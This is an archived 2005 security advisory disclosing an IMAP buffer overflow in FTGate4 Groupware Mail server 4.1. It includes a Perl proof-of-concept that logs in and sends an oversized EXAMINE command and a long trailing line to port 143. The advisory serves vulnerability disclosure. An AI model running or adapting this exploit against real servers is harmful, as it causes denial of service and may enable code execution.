[NT] FTGate4 Groupware Mail server Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/21/05

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Date: 21 Nov 2005 17:07:58 +0200

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      FTGate4 Groupware Mail server Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    FTGate4 is a powerful Windows(TM) communication suite that combines
    exceptional mail handling facilities with comprehensive Groupware
    functionality.

    FTGate4 contains a security flaw in the IMAP server caused due to boundary
    errors in the handling of various commands (like EXAMINE).

    DETAILS

    Vulnerable Systems:
     * FTGate4 Groupware Mail server version 4.1

    An attacker could exploit the vulnerability by sending a malformed request
    to the IMAP server running on port 143, resulting in a Denial of Service
    condition and potentially arbitrary code execution with the privileges of
    the SYSTEM user.

    Proof of concept:
    #!/usr/bin/perl

    use IO::Socket;

    print "\nFTGate Imapd BufferOverrun\nLuca Ercoli io\@lucaercoli.it\n";
    print "http://www.lucaercoli.it\n\n\n";

    $host = "localhost";

    $remote = IO::Socket::INET->new ( Proto => "tcp",
    PeerAddr => $host,
    PeerPort => "143",
    );

    unless ($remote) { die "Can't connect to $host" }

    print "[!] Connected\n";
    print "[?] Exploiting...\n";

    sleep(1);

    my $imapd = join ("", "1 login user pass", "\r\n");

    print $remote $imapd;

    sleep(1);
    my $imapd = join ("", "1 EXAMINE ", "B"x(224), "\r\n");
    print $remote $imapd;
    sleep(1);
    my $imapd = join ("","C"x(11305), "\r\n");
    print $remote $imapd;

    print "\n[!] Done\n\n\n";

    close $remote;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:io@lucaercoli.il> Luca
    Ercoli.
    The original articles can be found at:
       <http://www.lucaercoli.it/advs/FTGate4.txt>
    http://www.lucaercoli.it/advs/FTGate4.txt
       <http://www.lucaercoli.it/exploits/FTGate-expl.pl>
    http://www.lucaercoli.it/exploits/FTGate-expl.pl

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